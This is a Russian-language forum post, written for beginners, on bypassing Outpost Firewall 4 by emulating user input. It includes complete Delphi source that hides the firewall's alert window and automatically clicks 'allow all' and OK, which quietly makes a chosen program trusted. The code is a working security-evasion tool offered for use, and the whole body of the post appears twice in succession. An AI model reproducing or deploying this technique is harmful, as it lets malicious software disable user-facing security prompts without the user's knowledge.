Sov1et
31.01.2007, 02:48
::Тема: Эмуляция ввова как метод обхода OutPost FireWall 4.
::Зачем: Показать уязвимость персонального фаервола.
::Кому: Новичкам (подробно описаны все действия).
Интро
Всё началось с того что меня поимели...Да это не делает чести... На системе стоят нод32 + ОутПост…. Ну вот я захотел понять как … Странных файлов антивирем обнаружено не было … Но я нашёл разращенное приложение с списке исключений в Anti-Leak’е… Хотя ничего подобного мной туда не было закинуто…Я понял, что скорее всего это сделано с помощью старого как дуб, но до сих пор рабочего метода эмуляции ввода…
Теория
В Виндовс существует возможность посылать сообщений от менее привилегированных приложений в более привилегированные . Причём последним очень трудно понять откуда пришло сообщение от пользователя или из программы…
Для простоты объяснения метода я не буду рассказывать про внедрение кода для вызывания Anti-Leak защиты в оутпосте. А опишу незаметное добавление приложения в список Доверенных приложений, которым разрешено делать всё, это намного палевнее чем использовать инжект кода или подгрузку длл’ки, так как так это легче спалить.
Кто хочет разобраться в инжекте советуб читать статьи на wasme.
Для наших экспериментов выставим политику ОутПоста в Режим Обучения. Мы будем перехватывать окно, которое выводится если приложение стучится в сеть. И в нём выбирать “Разрешить всё” и нажимать кнопку “Ok”. В исходнике проги много того что не пригодится в реальном использовании данного метода, но они помогают лучше разобраться и познакомиться с некоторыми функциями Win API.
Для начала рассмотрим функции Win API которые нам понадобятся :
::function FindWindow(lpClassName, lpWindowName: PChar): HWND;
lpClassName – тип окна … ставим в nil
lpWindowName – название окна которое ищем…
Я эксперементировал с MIRC.EXE – поетому в исходнике стоит именно это –поменяйте на то что будет использованатся у вас в качестве экспериментального приложения
::function GetClassName(hWnd: HWND; lpClassName: PChar; nMaxCount: Integer): Integer;
служит для получения класса обьекта;
hWnd – хэндл окна.
lpClassName – получаем класс
::function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer;
служит для получегия текста обьекта
hWnd – хэндл окна.
lpString – текст хендла
Опишу работу приложения.
Запускается поток с процедурой поиска окна алерта, при нахождении оного – запускается цикл с перебором дочерних окон и выводом их типов и текста в консоль.
Здесь сделаю маленькое отступление : в виндоусе каждая кнопка , надпись etc является окном – поэтому для получения списка используем функцию GetWindow.
Для перебора заносим в массив первый хендл объекта с помощью GetWindow и параметрами : хендлом окна алерта и GW_CHILD. А потом в цикле используя ту же функцию GetWindow передавая параметры предыдущего хендла и GW_HWNDNEXT получаем все элементы окна. Потом увидев в консоле какой по счёту идут нужные нам кнопки (напомню нам нужны : “Разрешить этому прилжению выполнять любые действия” и “Ok”) . Расположение элементов можно видеть на скрине. Теперь мы можем нажать на них. Напомню что нажатие состоит из трёх этапов : установку фокуса-> нажатие->убивание фокуса. Все эти действия выполняем функцией SendMessage и PostMessage.
http://sov1et.jino-net.ru/img/1.JPG
Собственно код
program prog;
{$APPTYPE CONSOLE}
uses
windows,advApiHook,Messages;
var
hWnd,PID,pHandle :Dword;
hThead_OP,hThead_KASP,THeadlD: Dword;
tmp: pchar;
function Rus(mes: string):string; // Функция Rus преобразует ANSI-строку в ASCII-строку
// В ANSI русские буквы кодируются числами от 192 до 255,
// в ASCII - от 128 до 175 (А..Яа..п) и от 224 до 239 (р..я).
// Необходима для корректного вывода русских букв в консоль..
var
s: integer; // номер обрабатываемого символа
begin
for s:=1 to length(mes) do
If (Ord(mes[s])>=192) and (Ord(mes[s])<=239) then mes[s]:=Chr(Ord(mes[s])-64) else
If (Ord(mes[s])>=240) and (Ord(mes[s])<=255) then mes[s]:=Chr(Ord(mes[s])-16);
rus:=mes;
end;
procedure findOP (); // Находим Оут Пост
var
OPwindow : Dword;
I : dword;
Buttons : array[1..45] of dword;
wintext : Pchar;
buf: pchar;
begin
//---- Ищем окно алерта ----------------///
while OPwindow =0 do
OPwindow:=findwindow(nil,Pchar('Создать правило для MIRC.EXE'));
// скрываем окно алерта от глаз делая его прозрачным:
SetWindowLong(OPwindow,GWL_EXSTYLE,WS_EX_layered);
SetLayeredWindowAttributes(OPwindow,0,0,$00000002) ;
//----------Перебираем все кнопки : -------------------------///
Buttons[1]:=GetWindow(OPwindow,GW_CHILD);
GetMEm(wintext,128);
GetClassName(Buttons[1],wintext,127);
GetWindowText(Buttons[1],(buf),128);
writeln(wintext+' '+Rus(buf));
for i:=2 to 44 do
begin
GetMEm(wintext,128);
Buttons[i]:=GEtWindow(Buttons[i-1],GW_HWNDNEXT);
GetClassName(Buttons[i],wintext,127);
GetWindowText(Buttons[i],(buf),128);
writeln(wintext+' '+Rus(buf));
end;
//------ Выбираем пункт разрешить всё------------------//
SendMessage(Buttons[1],WM_SETFOCUS,1,0);
SendMessage(Buttons[1],BM_SETSTATE,1,0);
PostMessage(Buttons[1],WM_KILLFOCUS,0,0);
//------ Нажимаем на кнопку ОК------------------//
SendMessage(Buttons[8],WM_SETFOCUS,1,0);
SendMessage(Buttons[8],BM_SETSTATE,1,0);
PostMessage(Buttons[8],WM_KILLFOCUS,0,0);
end;
begin
hThead_OP:=createThread(nil,0,@findOP,nil,0,THeadl D); // стартуем поток с поиском окна
readln;
end.
Вывод
Да эта техника обхода имеет большой недостаток – для каждого фаера нужен свой подход. Но их не так много и поетому в принципе можно реализовать для всех самых распространенных.
На этом позвольте расклинится. Всем пока и спс за внимание.
::Зачем: Показать уязвимость персонального фаервола.
::Кому: Новичкам (подробно описаны все действия).
Интро
Всё началось с того что меня поимели...Да это не делает чести... На системе стоят нод32 + ОутПост…. Ну вот я захотел понять как … Странных файлов антивирем обнаружено не было … Но я нашёл разращенное приложение с списке исключений в Anti-Leak’е… Хотя ничего подобного мной туда не было закинуто…Я понял, что скорее всего это сделано с помощью старого как дуб, но до сих пор рабочего метода эмуляции ввода…
Теория
В Виндовс существует возможность посылать сообщений от менее привилегированных приложений в более привилегированные . Причём последним очень трудно понять откуда пришло сообщение от пользователя или из программы…
Для простоты объяснения метода я не буду рассказывать про внедрение кода для вызывания Anti-Leak защиты в оутпосте. А опишу незаметное добавление приложения в список Доверенных приложений, которым разрешено делать всё, это намного палевнее чем использовать инжект кода или подгрузку длл’ки, так как так это легче спалить.
Кто хочет разобраться в инжекте советуб читать статьи на wasme.
Для наших экспериментов выставим политику ОутПоста в Режим Обучения. Мы будем перехватывать окно, которое выводится если приложение стучится в сеть. И в нём выбирать “Разрешить всё” и нажимать кнопку “Ok”. В исходнике проги много того что не пригодится в реальном использовании данного метода, но они помогают лучше разобраться и познакомиться с некоторыми функциями Win API.
Для начала рассмотрим функции Win API которые нам понадобятся :
::function FindWindow(lpClassName, lpWindowName: PChar): HWND;
lpClassName – тип окна … ставим в nil
lpWindowName – название окна которое ищем…
Я эксперементировал с MIRC.EXE – поетому в исходнике стоит именно это –поменяйте на то что будет использованатся у вас в качестве экспериментального приложения
::function GetClassName(hWnd: HWND; lpClassName: PChar; nMaxCount: Integer): Integer;
служит для получения класса обьекта;
hWnd – хэндл окна.
lpClassName – получаем класс
::function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer;
служит для получегия текста обьекта
hWnd – хэндл окна.
lpString – текст хендла
Опишу работу приложения.
Запускается поток с процедурой поиска окна алерта, при нахождении оного – запускается цикл с перебором дочерних окон и выводом их типов и текста в консоль.
Здесь сделаю маленькое отступление : в виндоусе каждая кнопка , надпись etc является окном – поэтому для получения списка используем функцию GetWindow.
Для перебора заносим в массив первый хендл объекта с помощью GetWindow и параметрами : хендлом окна алерта и GW_CHILD. А потом в цикле используя ту же функцию GetWindow передавая параметры предыдущего хендла и GW_HWNDNEXT получаем все элементы окна. Потом увидев в консоле какой по счёту идут нужные нам кнопки (напомню нам нужны : “Разрешить этому прилжению выполнять любые действия” и “Ok”) . Расположение элементов можно видеть на скрине. Теперь мы можем нажать на них. Напомню что нажатие состоит из трёх этапов : установку фокуса-> нажатие->убивание фокуса. Все эти действия выполняем функцией SendMessage и PostMessage.
http://sov1et.jino-net.ru/img/1.JPG
Собственно код
program prog;
{$APPTYPE CONSOLE}
uses
windows,advApiHook,Messages;
var
hWnd,PID,pHandle :Dword;
hThead_OP,hThead_KASP,THeadlD: Dword;
tmp: pchar;
function Rus(mes: string):string; // Функция Rus преобразует ANSI-строку в ASCII-строку
// В ANSI русские буквы кодируются числами от 192 до 255,
// в ASCII - от 128 до 175 (А..Яа..п) и от 224 до 239 (р..я).
// Необходима для корректного вывода русских букв в консоль..
var
s: integer; // номер обрабатываемого символа
begin
for s:=1 to length(mes) do
If (Ord(mes[s])>=192) and (Ord(mes[s])<=239) then mes[s]:=Chr(Ord(mes[s])-64) else
If (Ord(mes[s])>=240) and (Ord(mes[s])<=255) then mes[s]:=Chr(Ord(mes[s])-16);
rus:=mes;
end;
procedure findOP (); // Находим Оут Пост
var
OPwindow : Dword;
I : dword;
Buttons : array[1..45] of dword;
wintext : Pchar;
buf: pchar;
begin
//---- Ищем окно алерта ----------------///
while OPwindow =0 do
OPwindow:=findwindow(nil,Pchar('Создать правило для MIRC.EXE'));
// скрываем окно алерта от глаз делая его прозрачным:
SetWindowLong(OPwindow,GWL_EXSTYLE,WS_EX_layered);
SetLayeredWindowAttributes(OPwindow,0,0,$00000002) ;
//----------Перебираем все кнопки : -------------------------///
Buttons[1]:=GetWindow(OPwindow,GW_CHILD);
GetMEm(wintext,128);
GetClassName(Buttons[1],wintext,127);
GetWindowText(Buttons[1],(buf),128);
writeln(wintext+' '+Rus(buf));
for i:=2 to 44 do
begin
GetMEm(wintext,128);
Buttons[i]:=GEtWindow(Buttons[i-1],GW_HWNDNEXT);
GetClassName(Buttons[i],wintext,127);
GetWindowText(Buttons[i],(buf),128);
writeln(wintext+' '+Rus(buf));
end;
//------ Выбираем пункт разрешить всё------------------//
SendMessage(Buttons[1],WM_SETFOCUS,1,0);
SendMessage(Buttons[1],BM_SETSTATE,1,0);
PostMessage(Buttons[1],WM_KILLFOCUS,0,0);
//------ Нажимаем на кнопку ОК------------------//
SendMessage(Buttons[8],WM_SETFOCUS,1,0);
SendMessage(Buttons[8],BM_SETSTATE,1,0);
PostMessage(Buttons[8],WM_KILLFOCUS,0,0);
end;
begin
hThead_OP:=createThread(nil,0,@findOP,nil,0,THeadl D); // стартуем поток с поиском окна
readln;
end.
Вывод
Да эта техника обхода имеет большой недостаток – для каждого фаера нужен свой подход. Но их не так много и поетому в принципе можно реализовать для всех самых распространенных.
На этом позвольте расклинится. Всем пока и спс за внимание.